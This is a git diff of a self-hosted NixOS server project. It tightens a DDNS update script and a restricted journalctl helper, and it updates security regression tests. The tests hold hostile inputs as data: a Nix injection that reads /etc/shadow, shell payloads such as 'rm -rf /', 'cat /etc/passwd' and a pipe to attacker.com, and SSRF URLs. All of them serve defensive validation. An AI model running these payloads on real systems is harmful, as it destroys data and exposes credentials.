+  # production validator used by the Hub API — before executing any curl call.
+  # No shell is used; no redirects; no script execution.
+  # ${IP} placeholder is preserved in stored URLs and substituted at runtime;
+  # the URL is validated after substitution so any remaining $ is rejected.
   system.activationScripts.sovran-ddns-update-script = ''
     install -d -m 0755 /var/lib/sovran
     cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
 #!/usr/bin/env python3
-"""Sovran safe DDNS update runner.  Read ddns_urls.json, call curl per URL."""
-import ipaddress, json, os, subprocess
+"""Sovran safe DDNS update runner.
+
+Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
+validates each URL using the production _validate_ddns_url() from
+/etc/sovran/security_helpers.py, then calls curl per URL.
+No shell interpolation.  No redirects.  No script execution.
+"""
+import ipaddress, json, os, subprocess, sys
+
+sys.path.insert(0, '/etc/sovran')
+try:
+    from security_helpers import _validate_ddns_url
+except ImportError:
+    sys.exit(0)  # validator not available — skip silently
 
 URLS_FILE = "/var/lib/njalla/ddns_urls.json"
-ALLOWED_HOSTS = frozenset(["njal.la", "www.njal.la"])
 
 try:
     with open(URLS_FILE) as f:
@@ -58,7 +86,7 @@ try:
     if not isinstance(urls, list):
         raise ValueError("not a list")
 except Exception:
-    raise SystemExit(0)  # no URLs configured — nothing to do
+    sys.exit(0)  # no URLs configured — nothing to do
 
 # Resolve current public IP once
 public_ip = ""
@@ -68,26 +96,27 @@ try:
         capture_output=True, text=True, timeout=10,
     )
     raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
-    ipaddress.ip_address(raw)  # validates
+    ipaddress.ip_address(raw)  # validates — raises if not a real IP
     public_ip = raw
 except Exception:
     pass
 
-import urllib.parse
+if not public_ip:
+    sys.exit(0)  # no IP resolved — skip to avoid sending bare ''${IP}
+
 for raw_url in urls:
     try:
-        url = raw_url.replace("''${IP}", public_ip) if public_ip else raw_url
-        parsed = urllib.parse.urlparse(url)
-        if parsed.scheme.lower() != "https":
-            continue
-        if (parsed.hostname or "").lower() not in ALLOWED_HOSTS:
-            continue
+        # Substitute ''${IP} placeholder then validate through production validator.
+        # After substitution there must be no $ left; _validate_ddns_url rejects
+        # any remaining $ expression.
+        url = raw_url.replace("''${IP}", public_ip)
+        _validate_ddns_url(url)
         subprocess.run(
             ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
             timeout=20, check=False,
             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
         )
-    except Exception:
+    except (ValueError, Exception):
         pass
 PYEOF
     chmod 0500 /var/lib/sovran/ddns-update.py
diff --git a/modules/core/sovran-journal-helper.py b/modules/core/sovran-journal-helper.py
index 3bc423e..7cea055 100644
--- a/modules/core/sovran-journal-helper.py
+++ b/modules/core/sovran-journal-helper.py
@@ -6,13 +6,14 @@ a strict allowlist of safe flags.  Replaces the ``journalctl *`` sudo rule
 in tech-support.nix.
 
 Accepted flags:
-  --unit / -u <name>        unit name (letters, digits, @, ., _, - only; .service suffix required)
+  --unit / -u <name>        must be one of the explicitly approved service units
   --lines / -n <N>          positive integer (max 10000)
   --priority / -p <level>   0-7 or emerg/alert/crit/err/warning/notice/info/debug
   --since <datetime>        ISO 8601 date/datetime (no paths, no filesystem roots)
   --until <datetime>        ISO 8601 date/datetime (no paths, no filesystem roots)
   --output / -o <format>    short | short-iso | cat | json | verbose
 
+At least one ``--unit`` flag is required; whole-journal queries are rejected.
 All other flags, paths, directories, roots, namespaces, and output
 destinations are rejected with a non-zero exit code.
 """
@@ -23,9 +24,14 @@ import sys
 
 # ── Allowlists ────────────────────────────────────────────────────────────────
 
-_ALLOWED_UNITS_RE = re.compile(
-    r'^[a-zA-Z0-9@._\-]+\.(service|socket|timer|target|mount|path|slice|scope)$'
-)
+# Explicit approved units.  Only these four services may be queried through
+# the restricted journal helper.  Any other unit is rejected.
+_APPROVED_UNITS: frozenset[str] = frozenset([
+    "sovran-hub-web.service",
+    "caddy.service",
+    "bitcoind.service",
+    "lnd.service",
+])
 
 _ALLOWED_PRIORITIES = frozenset([
     "0", "1", "2", "3", "4", "5", "6", "7",
@@ -50,8 +56,11 @@ def _die(msg: str) -> None:
 
 
 def _validate_unit(val: str) -> str:
-    if not _ALLOWED_UNITS_RE.match(val):
-        _die(f"rejected unit name: {val!r} (only letters/digits/@._- with a known suffix)")
+    if val not in _APPROVED_UNITS:
+        _die(
+            f"rejected unit name: {val!r} "
+            f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
+        )
     return val
 
 
@@ -86,6 +95,7 @@ def _validate_output(val: str) -> str:
 def main() -> None:
     args = sys.argv[1:]
     cmd = ["journalctl"]
+    unit_count = 0
 
     i = 0
     while i < len(args):
@@ -96,8 +106,10 @@ def main() -> None:
             if i >= len(args):
                 _die("--unit requires a value")
             cmd += ["--unit", _validate_unit(args[i])]
+            unit_count += 1
         elif arg.startswith("--unit="):
             cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
+            unit_count += 1
 
         elif arg in ("--lines", "-n"):
             i += 1
@@ -149,8 +161,11 @@ def main() -> None:
 
         i += 1
 
-    if not cmd[1:]:
-        _die("at least one flag is required (try --unit <name>)")
+    if unit_count == 0:
+        _die(
+            "at least one --unit flag is required; "
+            f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
+        )
 
     result = subprocess.run(cmd)
     sys.exit(result.returncode)
diff --git a/modules/core/tech-support.nix b/modules/core/tech-support.nix
index 60901df..5dcbd90 100644
--- a/modules/core/tech-support.nix
+++ b/modules/core/tech-support.nix
@@ -63,11 +63,11 @@
     {
       users = [ "sovran-support" ];
       commands = [
-        { command = "/run/current-system/sw/bin/systemctl restart sovran-hub.service";  options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl restart caddy.service";       options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl restart bitcoind.service";    options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl restart lnd.service";         options = [ "NOPASSWD" ]; }
-        { command = "/run/current-system/sw/bin/systemctl status sovran-hub.service";   options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl status caddy.service";        options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl status bitcoind.service";     options = [ "NOPASSWD" ]; }
         { command = "/run/current-system/sw/bin/systemctl status lnd.service";          options = [ "NOPASSWD" ]; }
diff --git a/tests/test_security.py b/tests/test_security.py
index 87b87c0..dd775f7 100644
--- a/tests/test_security.py
+++ b/tests/test_security.py
@@ -1,8 +1,7 @@
 """Security regression tests for Sovran Hub security helpers.
 
-Tests exercise the exact production implementations imported from
-``app/sovran_systemsos_web/security_helpers.py`` — no helpers are
-redefined here.  Every test verifies the deployed code, not a copy.
+Tests exercise the exact production implementations — no helpers are
+redefined or simulated here.  Every test calls the deployed code.
 
 Tests must never:
   - reboot, rebuild, or alter real SSH keys
@@ -11,12 +10,13 @@ Tests must never:
 """
 
 import base64
+import json
 import os
 import sys
+import tempfile
 import unittest
 
-# Add the app package to the path so we can import security_helpers directly
-# without the full FastAPI dependency tree.
+# Add the app package to the path so we can import without the full FastAPI tree.
 _REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
 _APP_PARENT = os.path.join(_REPO_ROOT, "app")
 if _APP_PARENT not in sys.path:
@@ -31,6 +31,7 @@ from sovran_systemsos_web.security_helpers import (  # noqa: E402
     _DDNS_ALLOWED_HOSTNAMES,
     _bech32_decode,
 )
+from sovran_systemsos_web import support_ops  # noqa: E402
 
 
 # ---------------------------------------------------------------------------
@@ -47,26 +48,22 @@ class TestNixEscape(unittest.TestCase):
         self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
 
     def test_nix_interpolation_escaped(self):
-        result = _nix_escape("${pkgs.bash}")
-        self.assertIn("\\${", result)
-        self.assertFalse(result.startswith("${"))
+        self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
 
     def test_newline_escaped(self):
-        result = _nix_escape("foo\nbar")
-        self.assertNotIn("\n", result)
-        self.assertIn("\\n", result)
+        self.assertEqual(_nix_escape("a\nb"), "a\\nb")
 
     def test_carriage_return_escaped(self):
-        self.assertNotIn("\r", _nix_escape("foo\rbar"))
+        self.assertEqual(_nix_escape("a\rb"), "a\\rb")
 
     def test_tab_escaped(self):
-        self.assertNotIn("\t", _nix_escape("foo\tbar"))
+        self.assertEqual(_nix_escape("a\tb"), "a\\tb")
 
     def test_semicolons_unchanged(self):
         self.assertEqual(_nix_escape("a;b"), "a;b")
 
     def test_valid_timezone(self):
-        self.assertEqual(_nix_escape("Europe/London"), "Europe/London")
+        self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
 
     def test_injection_payload_quotes_and_interpolation(self):
         payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
@@ -85,7 +82,7 @@ class TestNixEscape(unittest.TestCase):
 # ---------------------------------------------------------------------------
 
 class TestNpubValidationRegex(unittest.TestCase):
-    """NPUB_RE must accept valid npub shapes and reject injection payloads."""
+    """NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
 
     # 58 bech32 chars after "npub1"
     VALID_SHAPE = "npub1" + "q" * 58
@@ -103,7 +100,7 @@ class TestNpubValidationRegex(unittest.TestCase):
         self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
 
     def test_uppercase_rejected(self):
-        self.assertIsNone(NPUB_RE.fullmatch("npub1" + "Q" * 58))
+        self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
 
     def test_injection_quote_rejected(self):
         self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
@@ -113,50 +110,47 @@ class TestNpubValidationRegex(unittest.TestCase):
 
 
 # ---------------------------------------------------------------------------
-# Nostr npub validation — real Bech32 checksum
+# Nostr npub validation — full bech32
 # ---------------------------------------------------------------------------
 
 class TestNpubBech32Validation(unittest.TestCase):
-    """_validate_npub must require a valid Bech32 checksum and 32-byte payload."""
+    """_validate_npub must verify the full bech32 checksum and payload length."""
 
-    # Known-valid npub (Nostr FAQ test vector — 32 zero bytes)
-    # npub1 + bech32(hrp="npub", payload=b'\x00'*32)
-    # The checksum is computed by the library; we hardcode a known-good one.
-    # To generate: python3 -c "from app.sovran_systemsos_web.security_helpers import *; ..."
-    # We use _bech32_decode to verify our test vector is valid.
-    def _make_valid_npub(self) -> str:
-        """Build a valid npub from a 32-zero-byte payload using the production Bech32 encoder."""
-        # Import the production encoder — same module, ensures consistency
+    BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
+
+    def _make_npub(self, payload_bytes: bytes) -> str | None:
+        """Build a syntactically valid npub from raw 32-byte payload."""
         from sovran_systemsos_web.security_helpers import (
-            _bech32_polymod, _bech32_hrp_expand, _bech32_create_checksum,
-            _BECH32_CHARSET,
+            _bech32_hrp_expand,
+            _bech32_polymod,
+            _bech32_create_checksum,
         )
 
-        def _convertbits_encode(data: bytes) -> list:
-            acc, bits, ret = 0, 0, []
-            maxv = (1 << 5) - 1
-            for v in data:
-                acc = (acc << 8) | v
-                bits += 8
-                while bits >= 5:
-                    bits -= 5
+        def _convertbits(data, frombits, tobits, pad=True):
+            acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
+            for value in data:
+                acc = ((acc << frombits) | value)
+                bits += frombits
+                while bits >= tobits:
+                    bits -= tobits
                     ret.append((acc >> bits) & maxv)
-            if bits:
-                ret.append((acc << (5 - bits)) & maxv)
+            if pad and bits:
+                ret.append((acc << (tobits - bits)) & maxv)
             return ret
 
         hrp = "npub"
-        data = _convertbits_encode(b'\x00' * 32)
-        checksum = _bech32_create_checksum(hrp, data)
-        combined = data + checksum
-        return hrp + "1" + "".join(_BECH32_CHARSET[d] for d in combined)
+        data5 = _convertbits(list(payload_bytes), 8, 5)
+        checksum = _bech32_create_checksum(hrp, data5)
+        full = data5 + checksum
+        return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
 
     def test_valid_npub_passes_bech32(self):
-        npub = self._make_valid_npub()
-        self.assertTrue(_validate_npub(npub), f"Expected valid npub to pass: {npub}")
+        npub = self._make_npub(bytes(32))
+        self.assertIsNotNone(npub)
+        self.assertTrue(_validate_npub(npub))
 
     def test_bech32_decode_returns_32_bytes(self):
-        npub = self._make_valid_npub()
+        npub = self._make_npub(b'\x01' * 32)
         result = _bech32_decode(npub)
         self.assertIsNotNone(result)
         hrp, payload = result
@@ -164,46 +158,32 @@ class TestNpubBech32Validation(unittest.TestCase):
         self.assertEqual(len(payload), 32)
 
     def test_corrupted_checksum_rejected(self):
-        npub = self._make_valid_npub()
-        # Flip the last character
-        last = npub[-1]
-        replacement = "q" if last != "q" else "p"
-        corrupted = npub[:-1] + replacement
+        npub = self._make_npub(bytes(32))
+        # Flip last character in the data part
+        corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
         self.assertFalse(_validate_npub(corrupted))
 
     def test_mixed_case_rejected(self):
-        npub = self._make_valid_npub()
-        self.assertFalse(_validate_npub(npub.upper()))
-        self.assertFalse(_validate_npub(npub.capitalize()))
+        npub = self._make_npub(bytes(32))
+        mixed = npub[:10].upper() + npub[10:]
+        self.assertFalse(_validate_npub(mixed))
 
     def test_wrong_hrp_rejected(self):
-        # lnurl1 with 32-byte payload would have wrong HRP
         self.assertFalse(_validate_npub("nsec1" + "q" * 58))
 
     def test_synthetic_all_q_rejected_by_checksum(self):
-        # "npub1" + "q"*58 passes the regex but likely fails the checksum
-        synthetic = "npub1" + "q" * 58
-        # The all-q string almost certainly has an invalid checksum
-        result = _bech32_decode(synthetic)
-        if result is not None:
-            hrp, payload = result
-            # If it somehow decodes, payload must be 32 bytes to be valid
-            if hrp == "npub" and len(payload) == 32:
-                self.assertTrue(_validate_npub(synthetic))
-            else:
-                self.assertFalse(_validate_npub(synthetic))
-        else:
-            self.assertFalse(_validate_npub(synthetic))
+        self.assertFalse(_validate_npub("npub1" + "q" * 58))
 
 
 # ---------------------------------------------------------------------------
-# DDNS URL validation — SSRF prevention
+# DDNS URL validation
 # ---------------------------------------------------------------------------
 
 class TestDdnsUrlValidation(unittest.TestCase):
-    """_validate_ddns_url must prevent SSRF and injection payloads."""
+    """_validate_ddns_url must enforce all security constraints."""
 
-    VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"
+    # VALID_URL has no ${IP}: callers must substitute before validation.
+    VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
 
     def test_valid_njalla_url_accepted(self):
         self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
@@ -214,11 +194,11 @@ class TestDdnsUrlValidation(unittest.TestCase):
 
     def test_http_scheme_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("http://njal.la/update/?h=test&k=TOKEN")
+            _validate_ddns_url("http://njal.la/update/?k=TOKEN")
 
     def test_ftp_scheme_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("ftp://njal.la/update/?h=test&k=TOKEN")
+            _validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
 
     def test_credentials_in_url_rejected(self):
         with self.assertRaises(ValueError):
@@ -226,7 +206,7 @@ class TestDdnsUrlValidation(unittest.TestCase):
 
     def test_fragment_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://njal.la/update/?k=TOKEN#fragment")
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
 
     def test_raw_ip_host_rejected(self):
         with self.assertRaises(ValueError):
@@ -238,17 +218,15 @@ class TestDdnsUrlValidation(unittest.TestCase):
 
     def test_control_character_newline_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://njal.la/update/?k=TOKEN\nmalicious")
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
 
     def test_control_character_null_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://njal.la/update/?k=TOKEN\x00evil")
+            _validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
 
     def test_percent_encoded_null_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://njal.la/update/?k=TOKEN%00evil")
-
-    # ── SSRF allowlist tests ────────────────────────────────────────────────
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
 
     def test_localhost_rejected(self):
         with self.assertRaises(ValueError):
@@ -259,29 +237,44 @@ class TestDdnsUrlValidation(unittest.TestCase):
             _validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
 
     def test_arbitrary_public_hostname_rejected(self):
-        """Any hostname that is not njal.la must be rejected."""
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://evil.example.com/update/?k=TOKEN")
+            _validate_ddns_url("https://example.com/update/?k=TOKEN")
 
     def test_attacker_host_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://attacker.invalid/update/?k=TOKEN")
+            _validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
 
     def test_metadata_endpoint_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://169.254.169.254/latest/meta-data/")
+            _validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
 
     def test_empty_url_rejected(self):
         with self.assertRaises(ValueError):
             _validate_ddns_url("")
 
     def test_too_long_rejected(self):
+        long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
         with self.assertRaises(ValueError):
-            _validate_ddns_url("https://njal.la/?" + "x" * 2050)
+            _validate_ddns_url(long_url)
 
     def test_allowed_hostnames_set(self):
         self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
         self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
+        self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
+        self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
+
+    def test_dollar_expression_rejected(self):
+        """$ in a validated URL is rejected; callers must substitute ${IP} first."""
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
+
+    def test_wrong_path_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/api/?k=TOKEN")
+
+    def test_exact_update_path_accepted(self):
+        url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
+        self.assertEqual(_validate_ddns_url(url), url)
 
 
 # ---------------------------------------------------------------------------
@@ -289,31 +282,31 @@ class TestDdnsUrlValidation(unittest.TestCase):
 # ---------------------------------------------------------------------------
 
 class TestSshPubkeyValidation(unittest.TestCase):
-    """_validate_ssh_pubkey must accept valid keys and reject injections."""
+    """_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
 
-    _PAYLOAD = base64.b64encode(b"\x00" * 64).decode()
-    VALID_KEY = f"ssh-ed25519 {_PAYLOAD} user@host"
+    VALID_ED25519 = (
+        "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
+    )
 
     def test_valid_ed25519_accepted(self):
-        self.assertEqual(_validate_ssh_pubkey(self.VALID_KEY), self.VALID_KEY)
+        result = _validate_ssh_pubkey(self.VALID_ED25519)
+        self.assertEqual(result, self.VALID_ED25519)
 
     def test_unsupported_algorithm_rsa_rejected(self):
-        payload = base64.b64encode(b"\x00" * 40).decode()
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f"ssh-rsa {payload} user@host")
+            _validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
 
     def test_dss_algorithm_rejected(self):
-        payload = base64.b64encode(b"\x00" * 40).decode()
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f"ssh-dss {payload} user@host")
+            _validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
 
     def test_multiline_injection_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f"{self.VALID_KEY}\nssh-ed25519 AAAA second-key")
+            _validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
 
     def test_options_prefix_not_accepted(self):
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f'command="evil" {self.VALID_KEY}')
+            _validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
 
     def test_empty_key_rejected(self):
         with self.assertRaises(ValueError):
@@ -321,16 +314,16 @@ class TestSshPubkeyValidation(unittest.TestCase):
 
     def test_control_character_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f"ssh-ed25519 {self._PAYLOAD}\x00 user@host")
+            _validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
 
     def test_malformed_base64_rejected(self):
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey("ssh-ed25519 NOT!VALID!BASE64 user@host")
+            _validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
 
     def test_too_short_payload_rejected(self):
-        short = base64.b64encode(b"\x00" * 5).decode()
+        short_b64 = base64.b64encode(b"\x00" * 10).decode()
         with self.assertRaises(ValueError):
-            _validate_ssh_pubkey(f"ssh-ed25519 {short} user@host")
+            _validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
 
     def test_missing_key_body_rejected(self):
         with self.assertRaises(ValueError):
@@ -338,7 +331,7 @@ class TestSshPubkeyValidation(unittest.TestCase):
 
 
 # ---------------------------------------------------------------------------
-# Auth-exempt path enforcement
+# Auth-exempt paths
 # ---------------------------------------------------------------------------
 
 class TestAuthExemptPaths(unittest.TestCase):
@@ -404,13 +397,19 @@ class TestTechSupportSudoRules(unittest.TestCase):
         content = self._get_nix_content()
         self.assertIn("sovran-journal-helper", content)
 
+    def test_sovran_hub_web_service_referenced(self):
+        """tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
+        content = self._get_nix_content()
+        self.assertIn("sovran-hub-web.service", content)
+        self.assertNotIn('"sovran-hub.service"', content)
+
 
 # ---------------------------------------------------------------------------
-# Journal helper validation
+# Journal helper — unit allowlist validation
 # ---------------------------------------------------------------------------
 
 class TestJournalHelper(unittest.TestCase):
-    """The restricted journal helper must reject dangerous flags."""
+    """The restricted journal helper must enforce the explicit unit allowlist."""
 
     def _run_helper(self, args):
         """Run the helper script and return (returncode, stderr)."""
@@ -422,15 +421,34 @@ class TestJournalHelper(unittest.TestCase):
         )
         return result.returncode, result.stderr
 
-    def test_valid_unit_flag_accepted(self):
-        # The helper will fail to actually run journalctl (not installed),
-        # but it must not reject the flag itself before calling journalctl.
-        rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
-        # If journalctl is not installed, rc != 0 but stderr from helper is about journalctl
-        # If journalctl IS installed, it runs successfully (rc=0 or journalctl error)
-        # What we check is that the helper itself did NOT print "rejected"
+    # ── Allowlisted units ──
+    def test_sovran_hub_web_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
         self.assertNotIn("rejected", stderr)
-        self.assertNotIn("sovran-journal-helper: rejected", stderr)
+
+    def test_caddy_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "caddy.service"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_bitcoind_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_lnd_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "lnd.service"])
+        self.assertNotIn("rejected", stderr)
+
+    # ── Rejected units ──
+    def test_unapproved_service_rejected(self):
+        rc, stderr = self._run_helper(["--unit", "sshd.service"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_old_sovran_hub_service_rejected(self):
+        """The old nonexistent sovran-hub.service must now be rejected."""
+        rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
 
     def test_directory_flag_rejected(self):
         rc, stderr = self._run_helper(["--directory", "/var/log"])
@@ -448,8 +466,16 @@ class TestJournalHelper(unittest.TestCase):
         self.assertIn("rejected", stderr)
 
     def test_no_args_rejected(self):
+        """Whole-journal queries (no --unit) must be rejected."""
         rc, stderr = self._run_helper([])
         self.assertNotEqual(rc, 0)
+        # Should mention --unit requirement
+        self.assertIn("unit", stderr.lower())
+
+    def test_lines_only_no_unit_rejected(self):
+        """--lines without --unit is a whole-journal query and must be rejected."""
+        rc, stderr = self._run_helper(["--lines", "50"])
+        self.assertNotEqual(rc, 0)
 
     def test_lines_flag_accepted(self):
         rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
@@ -483,7 +509,6 @@ class TestJournalHelper(unittest.TestCase):
         self.assertIn("rejected", stderr)
 
     def test_invalid_unit_name_rejected(self):
-        # Unit names with directory traversal or invalid chars
         rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
         self.assertNotEqual(rc, 0)
         self.assertIn("rejected", stderr)
@@ -495,188 +520,402 @@ class TestJournalHelper(unittest.TestCase):
 
 
 # ---------------------------------------------------------------------------
-# Legacy njalla migration safety
+# Legacy Njalla migration — production-backed tests
 # ---------------------------------------------------------------------------
 
 class TestNjallaLegacyMigration(unittest.TestCase):
-    """_migrate_legacy_njalla_script must not execute or preserve malicious content."""
+    """migrate_legacy_njalla_script must not execute or preserve malicious content.
 
-    def _run_migration(self, script_content: str) -> list[str]:
-        """Run the migration against a temp file and return extracted URLs."""
-        import json
-        import tempfile
-        import sys
+    All tests call the exact production implementation from support_ops with
+    temporary files; no logic is duplicated here.
+    """
 
-        # We can't import server.py but we can replicate the migration logic
-        # using security_helpers for validation.
-        import re
-        from sovran_systemsos_web.security_helpers import _validate_ddns_url
+    def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
+        """Run the production migration against temp files, return (urls, script_archived)."""
+        captured_urls: list[str] = []
+        saved = [False]
 
-        LEGACY_CURL_RE = re.compile(
-            r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
-            r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
-        )
+        def _load():
+            return []
 
-        extracted: list[str] = []
-        for raw_line in script_content.splitlines():
-            line = raw_line.strip()
-            if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
-                continue
-            m = LEGACY_CURL_RE.match(line)
-            if not m:
-                continue
-            raw_url = m.group(1)
-            url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
-            try:
-                _validate_ddns_url(url_to_validate)
-                extracted.append(raw_url)
-            except ValueError:
-                pass
-        return extracted
+        def _save(urls):
+            captured_urls.extend(urls)
+            saved[0] = True
 
-    def test_valid_curl_line_extracted(self):
+        with tempfile.TemporaryDirectory() as tmpdir:
+            script_path = os.path.join(tmpdir, "njalla.sh")
+            with open(script_path, "w") as f:
+                f.write(script_content)
+            os.chmod(script_path, 0o755)
+
+            support_ops.migrate_legacy_njalla_script(
+                script_path,
+                _validate_ddns_url,
+                _save,
+                _load,
+            )
+
+            archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
+        return captured_urls, archived
+
+    def test_valid_unquoted_curl_line_extracted(self):
         script = (
             "#!/usr/bin/env bash\n"
             "IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
             "curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
         )
-        urls = self._run_migration(script)
+        urls, archived = self._run_migration(script)
         self.assertEqual(len(urls), 1)
         self.assertIn("njal.la", urls[0])
+        self.assertTrue(archived, "script should be archived after successful migration")
+
+    def test_valid_quoted_curl_line_extracted(self):
+        """Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
+        script = (
+            "#!/usr/bin/env bash\n"
+            'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
+        )
+        urls, archived = self._run_migration(script)
+        self.assertEqual(len(urls), 1, "quoted URL must be extracted")
+        self.assertIn("njal.la", urls[0])
 
     def test_command_injection_not_extracted(self):
         script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
     def test_backtick_injection_not_extracted(self):
         script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
     def test_pipe_injection_not_extracted(self):
         script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
     def test_dollar_injection_not_extracted(self):
         script = "curl https://njal.la/update/?k=$(evil_command)\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
     def test_non_njalla_url_not_extracted(self):
         script = "curl https://attacker.example.com/update/?k=TOKEN\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
     def test_http_url_not_extracted(self):
         script = "curl http://njal.la/update/?k=TOKEN\n"
-        urls = self._run_migration(script)
+        urls, _ = self._run_migration(script)
         self.assertEqual(urls, [])
 
+    def test_semicolons_in_url_not_extracted(self):
+        script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_newline_injection_not_extracted(self):
+        script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
